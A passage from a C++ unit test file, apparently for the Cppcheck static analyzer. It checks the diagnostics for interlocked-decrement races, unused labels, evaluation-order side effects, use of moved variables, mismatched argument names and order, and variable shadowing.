f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return 